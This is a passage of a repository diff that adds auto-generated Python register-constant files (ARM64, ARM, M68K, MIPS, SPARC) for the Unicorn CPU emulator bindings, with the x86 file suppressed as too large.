ARM64_REG_Q27 = 131
|
||||
ARM64_REG_Q28 = 132
|
||||
ARM64_REG_Q29 = 133
|
||||
ARM64_REG_Q30 = 134
|
||||
ARM64_REG_Q31 = 135
|
||||
ARM64_REG_S0 = 136
|
||||
ARM64_REG_S1 = 137
|
||||
ARM64_REG_S2 = 138
|
||||
ARM64_REG_S3 = 139
|
||||
ARM64_REG_S4 = 140
|
||||
ARM64_REG_S5 = 141
|
||||
ARM64_REG_S6 = 142
|
||||
ARM64_REG_S7 = 143
|
||||
ARM64_REG_S8 = 144
|
||||
ARM64_REG_S9 = 145
|
||||
ARM64_REG_S10 = 146
|
||||
ARM64_REG_S11 = 147
|
||||
ARM64_REG_S12 = 148
|
||||
ARM64_REG_S13 = 149
|
||||
ARM64_REG_S14 = 150
|
||||
ARM64_REG_S15 = 151
|
||||
ARM64_REG_S16 = 152
|
||||
ARM64_REG_S17 = 153
|
||||
ARM64_REG_S18 = 154
|
||||
ARM64_REG_S19 = 155
|
||||
ARM64_REG_S20 = 156
|
||||
ARM64_REG_S21 = 157
|
||||
ARM64_REG_S22 = 158
|
||||
ARM64_REG_S23 = 159
|
||||
ARM64_REG_S24 = 160
|
||||
ARM64_REG_S25 = 161
|
||||
ARM64_REG_S26 = 162
|
||||
ARM64_REG_S27 = 163
|
||||
ARM64_REG_S28 = 164
|
||||
ARM64_REG_S29 = 165
|
||||
ARM64_REG_S30 = 166
|
||||
ARM64_REG_S31 = 167
|
||||
ARM64_REG_W0 = 168
|
||||
ARM64_REG_W1 = 169
|
||||
ARM64_REG_W2 = 170
|
||||
ARM64_REG_W3 = 171
|
||||
ARM64_REG_W4 = 172
|
||||
ARM64_REG_W5 = 173
|
||||
ARM64_REG_W6 = 174
|
||||
ARM64_REG_W7 = 175
|
||||
ARM64_REG_W8 = 176
|
||||
ARM64_REG_W9 = 177
|
||||
ARM64_REG_W10 = 178
|
||||
ARM64_REG_W11 = 179
|
||||
ARM64_REG_W12 = 180
|
||||
ARM64_REG_W13 = 181
|
||||
ARM64_REG_W14 = 182
|
||||
ARM64_REG_W15 = 183
|
||||
ARM64_REG_W16 = 184
|
||||
ARM64_REG_W17 = 185
|
||||
ARM64_REG_W18 = 186
|
||||
ARM64_REG_W19 = 187
|
||||
ARM64_REG_W20 = 188
|
||||
ARM64_REG_W21 = 189
|
||||
ARM64_REG_W22 = 190
|
||||
ARM64_REG_W23 = 191
|
||||
ARM64_REG_W24 = 192
|
||||
ARM64_REG_W25 = 193
|
||||
ARM64_REG_W26 = 194
|
||||
ARM64_REG_W27 = 195
|
||||
ARM64_REG_W28 = 196
|
||||
ARM64_REG_W29 = 197
|
||||
ARM64_REG_W30 = 198
|
||||
ARM64_REG_X0 = 199
|
||||
ARM64_REG_X1 = 200
|
||||
ARM64_REG_X2 = 201
|
||||
ARM64_REG_X3 = 202
|
||||
ARM64_REG_X4 = 203
|
||||
ARM64_REG_X5 = 204
|
||||
ARM64_REG_X6 = 205
|
||||
ARM64_REG_X7 = 206
|
||||
ARM64_REG_X8 = 207
|
||||
ARM64_REG_X9 = 208
|
||||
ARM64_REG_X10 = 209
|
||||
ARM64_REG_X11 = 210
|
||||
ARM64_REG_X12 = 211
|
||||
ARM64_REG_X13 = 212
|
||||
ARM64_REG_X14 = 213
|
||||
ARM64_REG_X15 = 214
|
||||
ARM64_REG_X16 = 215
|
||||
ARM64_REG_X17 = 216
|
||||
ARM64_REG_X18 = 217
|
||||
ARM64_REG_X19 = 218
|
||||
ARM64_REG_X20 = 219
|
||||
ARM64_REG_X21 = 220
|
||||
ARM64_REG_X22 = 221
|
||||
ARM64_REG_X23 = 222
|
||||
ARM64_REG_X24 = 223
|
||||
ARM64_REG_X25 = 224
|
||||
ARM64_REG_X26 = 225
|
||||
ARM64_REG_X27 = 226
|
||||
ARM64_REG_X28 = 227
|
||||
ARM64_REG_V0 = 228
|
||||
ARM64_REG_V1 = 229
|
||||
ARM64_REG_V2 = 230
|
||||
ARM64_REG_V3 = 231
|
||||
ARM64_REG_V4 = 232
|
||||
ARM64_REG_V5 = 233
|
||||
ARM64_REG_V6 = 234
|
||||
ARM64_REG_V7 = 235
|
||||
ARM64_REG_V8 = 236
|
||||
ARM64_REG_V9 = 237
|
||||
ARM64_REG_V10 = 238
|
||||
ARM64_REG_V11 = 239
|
||||
ARM64_REG_V12 = 240
|
||||
ARM64_REG_V13 = 241
|
||||
ARM64_REG_V14 = 242
|
||||
ARM64_REG_V15 = 243
|
||||
ARM64_REG_V16 = 244
|
||||
ARM64_REG_V17 = 245
|
||||
ARM64_REG_V18 = 246
|
||||
ARM64_REG_V19 = 247
|
||||
ARM64_REG_V20 = 248
|
||||
ARM64_REG_V21 = 249
|
||||
ARM64_REG_V22 = 250
|
||||
ARM64_REG_V23 = 251
|
||||
ARM64_REG_V24 = 252
|
||||
ARM64_REG_V25 = 253
|
||||
ARM64_REG_V26 = 254
|
||||
ARM64_REG_V27 = 255
|
||||
ARM64_REG_V28 = 256
|
||||
ARM64_REG_V29 = 257
|
||||
ARM64_REG_V30 = 258
|
||||
ARM64_REG_V31 = 259
|
||||
|
||||
# pseudo registers
|
||||
ARM64_REG_PC = 260
|
||||
ARM64_REG_ENDING = 261
|
||||
|
||||
# alias registers
|
||||
ARM64_REG_IP1 = ARM64_REG_X16
|
||||
ARM64_REG_IP0 = ARM64_REG_X17
|
||||
ARM64_REG_FP = ARM64_REG_X29
|
||||
ARM64_REG_LR = ARM64_REG_X30
|
||||
125
bindings/python/unicorn/arm_const.py
Normal file
125
bindings/python/unicorn/arm_const.py
Normal file
@@ -0,0 +1,125 @@
|
||||
# For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT [arm_const.py]
|
||||
|
||||
# ARM registers
|
||||
|
||||
ARM_REG_INVALID = 0
|
||||
ARM_REG_APSR = 1
|
||||
ARM_REG_APSR_NZCV = 2
|
||||
ARM_REG_CPSR = 3
|
||||
ARM_REG_FPEXC = 4
|
||||
ARM_REG_FPINST = 5
|
||||
ARM_REG_FPSCR = 6
|
||||
ARM_REG_FPSCR_NZCV = 7
|
||||
ARM_REG_FPSID = 8
|
||||
ARM_REG_ITSTATE = 9
|
||||
ARM_REG_LR = 10
|
||||
ARM_REG_PC = 11
|
||||
ARM_REG_SP = 12
|
||||
ARM_REG_SPSR = 13
|
||||
ARM_REG_D0 = 14
|
||||
ARM_REG_D1 = 15
|
||||
ARM_REG_D2 = 16
|
||||
ARM_REG_D3 = 17
|
||||
ARM_REG_D4 = 18
|
||||
ARM_REG_D5 = 19
|
||||
ARM_REG_D6 = 20
|
||||
ARM_REG_D7 = 21
|
||||
ARM_REG_D8 = 22
|
||||
ARM_REG_D9 = 23
|
||||
ARM_REG_D10 = 24
|
||||
ARM_REG_D11 = 25
|
||||
ARM_REG_D12 = 26
|
||||
ARM_REG_D13 = 27
|
||||
ARM_REG_D14 = 28
|
||||
ARM_REG_D15 = 29
|
||||
ARM_REG_D16 = 30
|
||||
ARM_REG_D17 = 31
|
||||
ARM_REG_D18 = 32
|
||||
ARM_REG_D19 = 33
|
||||
ARM_REG_D20 = 34
|
||||
ARM_REG_D21 = 35
|
||||
ARM_REG_D22 = 36
|
||||
ARM_REG_D23 = 37
|
||||
ARM_REG_D24 = 38
|
||||
ARM_REG_D25 = 39
|
||||
ARM_REG_D26 = 40
|
||||
ARM_REG_D27 = 41
|
||||
ARM_REG_D28 = 42
|
||||
ARM_REG_D29 = 43
|
||||
ARM_REG_D30 = 44
|
||||
ARM_REG_D31 = 45
|
||||
ARM_REG_FPINST2 = 46
|
||||
ARM_REG_MVFR0 = 47
|
||||
ARM_REG_MVFR1 = 48
|
||||
ARM_REG_MVFR2 = 49
|
||||
ARM_REG_Q0 = 50
|
||||
ARM_REG_Q1 = 51
|
||||
ARM_REG_Q2 = 52
|
||||
ARM_REG_Q3 = 53
|
||||
ARM_REG_Q4 = 54
|
||||
ARM_REG_Q5 = 55
|
||||
ARM_REG_Q6 = 56
|
||||
ARM_REG_Q7 = 57
|
||||
ARM_REG_Q8 = 58
|
||||
ARM_REG_Q9 = 59
|
||||
ARM_REG_Q10 = 60
|
||||
ARM_REG_Q11 = 61
|
||||
ARM_REG_Q12 = 62
|
||||
ARM_REG_Q13 = 63
|
||||
ARM_REG_Q14 = 64
|
||||
ARM_REG_Q15 = 65
|
||||
ARM_REG_R0 = 66
|
||||
ARM_REG_R1 = 67
|
||||
ARM_REG_R2 = 68
|
||||
ARM_REG_R3 = 69
|
||||
ARM_REG_R4 = 70
|
||||
ARM_REG_R5 = 71
|
||||
ARM_REG_R6 = 72
|
||||
ARM_REG_R7 = 73
|
||||
ARM_REG_R8 = 74
|
||||
ARM_REG_R9 = 75
|
||||
ARM_REG_R10 = 76
|
||||
ARM_REG_R11 = 77
|
||||
ARM_REG_R12 = 78
|
||||
ARM_REG_S0 = 79
|
||||
ARM_REG_S1 = 80
|
||||
ARM_REG_S2 = 81
|
||||
ARM_REG_S3 = 82
|
||||
ARM_REG_S4 = 83
|
||||
ARM_REG_S5 = 84
|
||||
ARM_REG_S6 = 85
|
||||
ARM_REG_S7 = 86
|
||||
ARM_REG_S8 = 87
|
||||
ARM_REG_S9 = 88
|
||||
ARM_REG_S10 = 89
|
||||
ARM_REG_S11 = 90
|
||||
ARM_REG_S12 = 91
|
||||
ARM_REG_S13 = 92
|
||||
ARM_REG_S14 = 93
|
||||
ARM_REG_S15 = 94
|
||||
ARM_REG_S16 = 95
|
||||
ARM_REG_S17 = 96
|
||||
ARM_REG_S18 = 97
|
||||
ARM_REG_S19 = 98
|
||||
ARM_REG_S20 = 99
|
||||
ARM_REG_S21 = 100
|
||||
ARM_REG_S22 = 101
|
||||
ARM_REG_S23 = 102
|
||||
ARM_REG_S24 = 103
|
||||
ARM_REG_S25 = 104
|
||||
ARM_REG_S26 = 105
|
||||
ARM_REG_S27 = 106
|
||||
ARM_REG_S28 = 107
|
||||
ARM_REG_S29 = 108
|
||||
ARM_REG_S30 = 109
|
||||
ARM_REG_S31 = 110
|
||||
ARM_REG_ENDING = 111
|
||||
|
||||
# alias registers
|
||||
ARM_REG_R13 = ARM_REG_SP
|
||||
ARM_REG_R14 = ARM_REG_LR
|
||||
ARM_REG_R15 = ARM_REG_PC
|
||||
ARM_REG_SB = ARM_REG_R9
|
||||
ARM_REG_SL = ARM_REG_R10
|
||||
ARM_REG_FP = ARM_REG_R11
|
||||
ARM_REG_IP = ARM_REG_R12
|
||||
24
bindings/python/unicorn/m68k_const.py
Normal file
24
bindings/python/unicorn/m68k_const.py
Normal file
@@ -0,0 +1,24 @@
|
||||
# For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT [m68k_const.py]
|
||||
|
||||
# M68K registers
|
||||
|
||||
M68K_REG_INVALID = 0
|
||||
M68K_REG_A0 = 1
|
||||
M68K_REG_A1 = 2
|
||||
M68K_REG_A2 = 3
|
||||
M68K_REG_A3 = 4
|
||||
M68K_REG_A4 = 5
|
||||
M68K_REG_A5 = 6
|
||||
M68K_REG_A6 = 7
|
||||
M68K_REG_A7 = 8
|
||||
M68K_REG_D0 = 9
|
||||
M68K_REG_D1 = 10
|
||||
M68K_REG_D2 = 11
|
||||
M68K_REG_D3 = 12
|
||||
M68K_REG_D4 = 13
|
||||
M68K_REG_D5 = 14
|
||||
M68K_REG_D6 = 15
|
||||
M68K_REG_D7 = 16
|
||||
M68K_REG_SR = 17
|
||||
M68K_REG_PC = 18
|
||||
M68K_REG_ENDING = 19
|
||||
195
bindings/python/unicorn/mips_const.py
Normal file
195
bindings/python/unicorn/mips_const.py
Normal file
@@ -0,0 +1,195 @@
|
||||
# For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT [mips_const.py]
|
||||
|
||||
# MIPS registers
|
||||
|
||||
MIPS_REG_INVALID = 0
|
||||
|
||||
# General purpose registers
|
||||
MIPS_REG_PC = 1
|
||||
MIPS_REG_0 = 2
|
||||
MIPS_REG_1 = 3
|
||||
MIPS_REG_2 = 4
|
||||
MIPS_REG_3 = 5
|
||||
MIPS_REG_4 = 6
|
||||
MIPS_REG_5 = 7
|
||||
MIPS_REG_6 = 8
|
||||
MIPS_REG_7 = 9
|
||||
MIPS_REG_8 = 10
|
||||
MIPS_REG_9 = 11
|
||||
MIPS_REG_10 = 12
|
||||
MIPS_REG_11 = 13
|
||||
MIPS_REG_12 = 14
|
||||
MIPS_REG_13 = 15
|
||||
MIPS_REG_14 = 16
|
||||
MIPS_REG_15 = 17
|
||||
MIPS_REG_16 = 18
|
||||
MIPS_REG_17 = 19
|
||||
MIPS_REG_18 = 20
|
||||
MIPS_REG_19 = 21
|
||||
MIPS_REG_20 = 22
|
||||
MIPS_REG_21 = 23
|
||||
MIPS_REG_22 = 24
|
||||
MIPS_REG_23 = 25
|
||||
MIPS_REG_24 = 26
|
||||
MIPS_REG_25 = 27
|
||||
MIPS_REG_26 = 28
|
||||
MIPS_REG_27 = 29
|
||||
MIPS_REG_28 = 30
|
||||
MIPS_REG_29 = 31
|
||||
MIPS_REG_30 = 32
|
||||
MIPS_REG_31 = 33
|
||||
|
||||
# DSP registers
|
||||
MIPS_REG_DSPCCOND = 34
|
||||
MIPS_REG_DSPCARRY = 35
|
||||
MIPS_REG_DSPEFI = 36
|
||||
MIPS_REG_DSPOUTFLAG = 37
|
||||
MIPS_REG_DSPOUTFLAG16_19 = 38
|
||||
MIPS_REG_DSPOUTFLAG20 = 39
|
||||
MIPS_REG_DSPOUTFLAG21 = 40
|
||||
MIPS_REG_DSPOUTFLAG22 = 41
|
||||
MIPS_REG_DSPOUTFLAG23 = 42
|
||||
MIPS_REG_DSPPOS = 43
|
||||
MIPS_REG_DSPSCOUNT = 44
|
||||
|
||||
# ACC registers
|
||||
MIPS_REG_AC0 = 45
|
||||
MIPS_REG_AC1 = 46
|
||||
MIPS_REG_AC2 = 47
|
||||
MIPS_REG_AC3 = 48
|
||||
|
||||
# COP registers
|
||||
MIPS_REG_CC0 = 49
|
||||
MIPS_REG_CC1 = 50
|
||||
MIPS_REG_CC2 = 51
|
||||
MIPS_REG_CC3 = 52
|
||||
MIPS_REG_CC4 = 53
|
||||
MIPS_REG_CC5 = 54
|
||||
MIPS_REG_CC6 = 55
|
||||
MIPS_REG_CC7 = 56
|
||||
|
||||
# FPU registers
|
||||
MIPS_REG_F0 = 57
|
||||
MIPS_REG_F1 = 58
|
||||
MIPS_REG_F2 = 59
|
||||
MIPS_REG_F3 = 60
|
||||
MIPS_REG_F4 = 61
|
||||
MIPS_REG_F5 = 62
|
||||
MIPS_REG_F6 = 63
|
||||
MIPS_REG_F7 = 64
|
||||
MIPS_REG_F8 = 65
|
||||
MIPS_REG_F9 = 66
|
||||
MIPS_REG_F10 = 67
|
||||
MIPS_REG_F11 = 68
|
||||
MIPS_REG_F12 = 69
|
||||
MIPS_REG_F13 = 70
|
||||
MIPS_REG_F14 = 71
|
||||
MIPS_REG_F15 = 72
|
||||
MIPS_REG_F16 = 73
|
||||
MIPS_REG_F17 = 74
|
||||
MIPS_REG_F18 = 75
|
||||
MIPS_REG_F19 = 76
|
||||
MIPS_REG_F20 = 77
|
||||
MIPS_REG_F21 = 78
|
||||
MIPS_REG_F22 = 79
|
||||
MIPS_REG_F23 = 80
|
||||
MIPS_REG_F24 = 81
|
||||
MIPS_REG_F25 = 82
|
||||
MIPS_REG_F26 = 83
|
||||
MIPS_REG_F27 = 84
|
||||
MIPS_REG_F28 = 85
|
||||
MIPS_REG_F29 = 86
|
||||
MIPS_REG_F30 = 87
|
||||
MIPS_REG_F31 = 88
|
||||
MIPS_REG_FCC0 = 89
|
||||
MIPS_REG_FCC1 = 90
|
||||
MIPS_REG_FCC2 = 91
|
||||
MIPS_REG_FCC3 = 92
|
||||
MIPS_REG_FCC4 = 93
|
||||
MIPS_REG_FCC5 = 94
|
||||
MIPS_REG_FCC6 = 95
|
||||
MIPS_REG_FCC7 = 96
|
||||
|
||||
# AFPR128
|
||||
MIPS_REG_W0 = 97
|
||||
MIPS_REG_W1 = 98
|
||||
MIPS_REG_W2 = 99
|
||||
MIPS_REG_W3 = 100
|
||||
MIPS_REG_W4 = 101
|
||||
MIPS_REG_W5 = 102
|
||||
MIPS_REG_W6 = 103
|
||||
MIPS_REG_W7 = 104
|
||||
MIPS_REG_W8 = 105
|
||||
MIPS_REG_W9 = 106
|
||||
MIPS_REG_W10 = 107
|
||||
MIPS_REG_W11 = 108
|
||||
MIPS_REG_W12 = 109
|
||||
MIPS_REG_W13 = 110
|
||||
MIPS_REG_W14 = 111
|
||||
MIPS_REG_W15 = 112
|
||||
MIPS_REG_W16 = 113
|
||||
MIPS_REG_W17 = 114
|
||||
MIPS_REG_W18 = 115
|
||||
MIPS_REG_W19 = 116
|
||||
MIPS_REG_W20 = 117
|
||||
MIPS_REG_W21 = 118
|
||||
MIPS_REG_W22 = 119
|
||||
MIPS_REG_W23 = 120
|
||||
MIPS_REG_W24 = 121
|
||||
MIPS_REG_W25 = 122
|
||||
MIPS_REG_W26 = 123
|
||||
MIPS_REG_W27 = 124
|
||||
MIPS_REG_W28 = 125
|
||||
MIPS_REG_W29 = 126
|
||||
MIPS_REG_W30 = 127
|
||||
MIPS_REG_W31 = 128
|
||||
MIPS_REG_HI = 129
|
||||
MIPS_REG_LO = 130
|
||||
MIPS_REG_P0 = 131
|
||||
MIPS_REG_P1 = 132
|
||||
MIPS_REG_P2 = 133
|
||||
MIPS_REG_MPL0 = 134
|
||||
MIPS_REG_MPL1 = 135
|
||||
MIPS_REG_MPL2 = 136
|
||||
MIPS_REG_ENDING = 137
|
||||
MIPS_REG_ZERO = MIPS_REG_0
|
||||
MIPS_REG_AT = MIPS_REG_1
|
||||
MIPS_REG_V0 = MIPS_REG_2
|
||||
MIPS_REG_V1 = MIPS_REG_3
|
||||
MIPS_REG_A0 = MIPS_REG_4
|
||||
MIPS_REG_A1 = MIPS_REG_5
|
||||
MIPS_REG_A2 = MIPS_REG_6
|
||||
MIPS_REG_A3 = MIPS_REG_7
|
||||
MIPS_REG_T0 = MIPS_REG_8
|
||||
MIPS_REG_T1 = MIPS_REG_9
|
||||
MIPS_REG_T2 = MIPS_REG_10
|
||||
MIPS_REG_T3 = MIPS_REG_11
|
||||
MIPS_REG_T4 = MIPS_REG_12
|
||||
MIPS_REG_T5 = MIPS_REG_13
|
||||
MIPS_REG_T6 = MIPS_REG_14
|
||||
MIPS_REG_T7 = MIPS_REG_15
|
||||
MIPS_REG_S0 = MIPS_REG_16
|
||||
MIPS_REG_S1 = MIPS_REG_17
|
||||
MIPS_REG_S2 = MIPS_REG_18
|
||||
MIPS_REG_S3 = MIPS_REG_19
|
||||
MIPS_REG_S4 = MIPS_REG_20
|
||||
MIPS_REG_S5 = MIPS_REG_21
|
||||
MIPS_REG_S6 = MIPS_REG_22
|
||||
MIPS_REG_S7 = MIPS_REG_23
|
||||
MIPS_REG_T8 = MIPS_REG_24
|
||||
MIPS_REG_T9 = MIPS_REG_25
|
||||
MIPS_REG_K0 = MIPS_REG_26
|
||||
MIPS_REG_K1 = MIPS_REG_27
|
||||
MIPS_REG_GP = MIPS_REG_28
|
||||
MIPS_REG_SP = MIPS_REG_29
|
||||
MIPS_REG_FP = MIPS_REG_30
|
||||
MIPS_REG_S8 = MIPS_REG_30
|
||||
MIPS_REG_RA = MIPS_REG_31
|
||||
MIPS_REG_HI0 = MIPS_REG_AC0
|
||||
MIPS_REG_HI1 = MIPS_REG_AC1
|
||||
MIPS_REG_HI2 = MIPS_REG_AC2
|
||||
MIPS_REG_HI3 = MIPS_REG_AC3
|
||||
MIPS_REG_LO0 = MIPS_REG_HI0
|
||||
MIPS_REG_LO1 = MIPS_REG_HI1
|
||||
MIPS_REG_LO2 = MIPS_REG_HI2
|
||||
MIPS_REG_LO3 = MIPS_REG_HI3
|
||||
96
bindings/python/unicorn/sparc_const.py
Normal file
96
bindings/python/unicorn/sparc_const.py
Normal file
@@ -0,0 +1,96 @@
|
||||
# For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT [sparc_const.py]
|
||||
|
||||
# SPARC registers
|
||||
|
||||
SPARC_REG_INVALID = 0
|
||||
SPARC_REG_F0 = 1
|
||||
SPARC_REG_F1 = 2
|
||||
SPARC_REG_F2 = 3
|
||||
SPARC_REG_F3 = 4
|
||||
SPARC_REG_F4 = 5
|
||||
SPARC_REG_F5 = 6
|
||||
SPARC_REG_F6 = 7
|
||||
SPARC_REG_F7 = 8
|
||||
SPARC_REG_F8 = 9
|
||||
SPARC_REG_F9 = 10
|
||||
SPARC_REG_F10 = 11
|
||||
SPARC_REG_F11 = 12
|
||||
SPARC_REG_F12 = 13
|
||||
SPARC_REG_F13 = 14
|
||||
SPARC_REG_F14 = 15
|
||||
SPARC_REG_F15 = 16
|
||||
SPARC_REG_F16 = 17
|
||||
SPARC_REG_F17 = 18
|
||||
SPARC_REG_F18 = 19
|
||||
SPARC_REG_F19 = 20
|
||||
SPARC_REG_F20 = 21
|
||||
SPARC_REG_F21 = 22
|
||||
SPARC_REG_F22 = 23
|
||||
SPARC_REG_F23 = 24
|
||||
SPARC_REG_F24 = 25
|
||||
SPARC_REG_F25 = 26
|
||||
SPARC_REG_F26 = 27
|
||||
SPARC_REG_F27 = 28
|
||||
SPARC_REG_F28 = 29
|
||||
SPARC_REG_F29 = 30
|
||||
SPARC_REG_F30 = 31
|
||||
SPARC_REG_F31 = 32
|
||||
SPARC_REG_F32 = 33
|
||||
SPARC_REG_F34 = 34
|
||||
SPARC_REG_F36 = 35
|
||||
SPARC_REG_F38 = 36
|
||||
SPARC_REG_F40 = 37
|
||||
SPARC_REG_F42 = 38
|
||||
SPARC_REG_F44 = 39
|
||||
SPARC_REG_F46 = 40
|
||||
SPARC_REG_F48 = 41
|
||||
SPARC_REG_F50 = 42
|
||||
SPARC_REG_F52 = 43
|
||||
SPARC_REG_F54 = 44
|
||||
SPARC_REG_F56 = 45
|
||||
SPARC_REG_F58 = 46
|
||||
SPARC_REG_F60 = 47
|
||||
SPARC_REG_F62 = 48
|
||||
SPARC_REG_FCC0 = 49
|
||||
SPARC_REG_FCC1 = 50
|
||||
SPARC_REG_FCC2 = 51
|
||||
SPARC_REG_FCC3 = 52
|
||||
SPARC_REG_FP = 53
|
||||
SPARC_REG_G0 = 54
|
||||
SPARC_REG_G1 = 55
|
||||
SPARC_REG_G2 = 56
|
||||
SPARC_REG_G3 = 57
|
||||
SPARC_REG_G4 = 58
|
||||
SPARC_REG_G5 = 59
|
||||
SPARC_REG_G6 = 60
|
||||
SPARC_REG_G7 = 61
|
||||
SPARC_REG_I0 = 62
|
||||
SPARC_REG_I1 = 63
|
||||
SPARC_REG_I2 = 64
|
||||
SPARC_REG_I3 = 65
|
||||
SPARC_REG_I4 = 66
|
||||
SPARC_REG_I5 = 67
|
||||
SPARC_REG_I7 = 68
|
||||
SPARC_REG_ICC = 69
|
||||
SPARC_REG_L0 = 70
|
||||
SPARC_REG_L1 = 71
|
||||
SPARC_REG_L2 = 72
|
||||
SPARC_REG_L3 = 73
|
||||
SPARC_REG_L4 = 74
|
||||
SPARC_REG_L5 = 75
|
||||
SPARC_REG_L6 = 76
|
||||
SPARC_REG_L7 = 77
|
||||
SPARC_REG_O0 = 78
|
||||
SPARC_REG_O1 = 79
|
||||
SPARC_REG_O2 = 80
|
||||
SPARC_REG_O3 = 81
|
||||
SPARC_REG_O4 = 82
|
||||
SPARC_REG_O5 = 83
|
||||
SPARC_REG_O7 = 84
|
||||
SPARC_REG_SP = 85
|
||||
SPARC_REG_Y = 86
|
||||
SPARC_REG_XCC = 87
|
||||
SPARC_REG_PC = 88
|
||||
SPARC_REG_ENDING = 89
|
||||
SPARC_REG_O6 = SPARC_REG_SP
|
||||
SPARC_REG_I6 = SPARC_REG_FP
|
||||
1589
bindings/python/unicorn/x86_const.py
Normal file
1589
bindings/python/unicorn/x86_const.py
Normal file
File diff suppressed because it is too large
Load Diff
Reference in New Issue
Block a user